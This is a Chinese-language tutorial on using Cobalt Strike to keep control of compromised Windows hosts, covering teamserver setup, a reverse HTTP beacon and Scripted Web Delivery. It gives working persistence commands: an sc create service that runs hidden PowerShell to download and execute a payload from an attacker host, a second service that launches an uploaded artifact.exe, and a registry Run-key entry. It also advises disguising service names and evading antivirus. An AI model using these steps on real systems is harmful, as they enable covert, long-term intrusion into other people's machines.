前言

想写这篇文章已经有一段时间了,接触Cobalt Strike的时间并不是很长,一个朋友曾开玩笑的说道Cobalt Strike“是灰鸽子的旗舰版”,CS已经成为我们在做后渗透、权限维持以及内网渗透中,少不了的利器,FreeBuf已有前辈发过几篇很棒的文章,让我们从文章中收获不少的知识点,介绍就不再多说了。 第一次发, 文章难免有错误的地方请大佬们多多指点。

我使用的是Cobalt Strike3.6相信有不少玩Cobalt Strike安装完成后都会遇到过的两个问题

服务器端连接:./teamserver ip 密码

image.png

一个是teamserver脚本的问题,这里要到teamserver脚本中删除一些字符串否则启动会报错,(多谢大佬提醒),把-XX:AggressivHeap -XX:UseParallelGc删除。

QQ截图20171221095659.png

 在服务器中CS已经启动成功了,客户端连接提示超时,之前设置的监听端口忽略。

QQ截图20171221095300.png

这时我们还需要关闭服务器Linux防火墙不然客户端连接不上的。 Linux执行:  service iptables stop

 50050是默认端口,可以在浏览器中检测到是否能访问

QQ图片20171221102518.png 

在客户端输入对应的信息就连接上了CS,”User”是可以自己随便填写用户的。 

登入成功后的界面:

QQ截图20171221103243.png

下面也简单的说下创建监听和Scripted web_Delivery这块

然后在创建一个监听 “从Cobalt Strike菜单栏”->Listeners

QQ截图20171221105800.png

填写以下信息即可:Payload中的windows/beacon_http/reverse_http:有效载荷

QQ截图20171221110141.png 

单击保存。默认会使用服务器的IP地址或者填入任何解析的域名:

QQ截图20171221111422.png

点击确定之后就会开始监听1900端口

QQ截图20171221111435.png 

还需要在设置下Powershell  Scripted web_Delivery类似于msf的web_delivery

1.png 

填写所需参数默认端口是80,这里我用19001端口,Type这块一般都用powershell,根据需要可以自己选择。

image.png

QQ截图20171221112302.png

创建成功会弹出以下一个窗口里面包含powershell远程下载执行命令

image.png 

顺便也看看web_Delivery生成的powershell的木马,通过powershell来执行某些指令通过Base64方式进行加密

image.png

依次点击Attacks ->Web Drive-by->Manage对之前创建的web服务进行管理

复制URL

image.png 

在目标机器上执行

image.png

这时已经能控制目标主机了

image.png 

当目标机器重启电脑后Cobalt Strike就会失去对目标主机的控制权限,这时我们该如何持久的控制对方主机。

image.png 

在我刚接触msf这块的时候印象最深刻的就是windows xp系统使用metasploit留的MetSVC和Persistence这两个持久性后门控制,那么使用Cobalt Strike如何持久控制目标主机权限的呢。

正文

设置powershell脚本开机自启动后门。

使用SC命令创建windows服务名最好伪装下,binpath= 这里一定要注意有个空格不然创建不成功把powershell远程执行下载命令也包含进去地址:”http://192.168.1.82:19001/a“链接就是我们刚刚生成的木马地址

 sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))\""

image.png 

这时目标就会有个刚创建个为”name”的服务,可执行文件的路径都在刚刚命令执行过程中指定到的里面

image.png 

SC config “name” start= auto 我们需要把这个name服务设置为自动。

image.png

Sc description “name” “description” 设置服务的描述字符串

net start “name” 启动服务

SC delete “name” 删除这个服务,不想使用服务直接删除

反向连接这时我们重新拿到一个shell,已服务运行的权限运行可以看到是SYSTEM

image.png 

重启下目标主机试试,现在两个会话已经失去了连接。

image.png 

通过powershell留开机自启动服务,当目标主机重启电脑之后,不断向攻击机器发送请求数据包,重新拿到控制权限

image.png

image.png 

下面两种方法就比较常见的留自启动后门

service

生成service的exe程序放到目标机器

image.png

这里选择windows Service EXE

image.png

这里我为了方便就直接拖到虚拟机里面了

image.png

当然在实战过程中点击Explore->File Browser同样的也可以上传文件

image.png 

同样的

先创建一个服务名称后面跟着木马上传的路径,这里如果要保证”windows Service EXE程序不被杀毒软件拦截,最好做下免杀,在放到更加隐蔽的目录


sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe"

sc description "server power" "description" 设置服务的描述字符串

sc config "server power" start= auto 设置这个服务为自动启动

net start "server power" 启动服务 

image.png

image.png

启动服务之后CS重新拿到一个反向连接shell会话

image.png 

重启目标机器,也能拿到控制权限。

image.png 

regedit

生成一个exe木马程序

image.png

设置开机启动项,往注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木马程序路径 

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f 

image.png

image.png

当系统注销,再次进入登入到目标系统就会上线,权限是继承的。

image.png

总结

结尾也在唠叨下关于留自启动后门方法很多,大多数都添加到服务,加注册表 加启动项,文章中也只是使用Cobalt Strike本身自带的攻击模块去实现留自启动的操作,如果团体服务器重启了,Cobalt Strike还想再次连上控制目标机器,客户端需要重新设置和之前一样的操作,Listeners以及Scriptad Web Delivery端口等必须设置的和之前一致,这样被控制的机器再次发包请求服务器时才能重新获取控制权限。

*本文原创作者:FK_T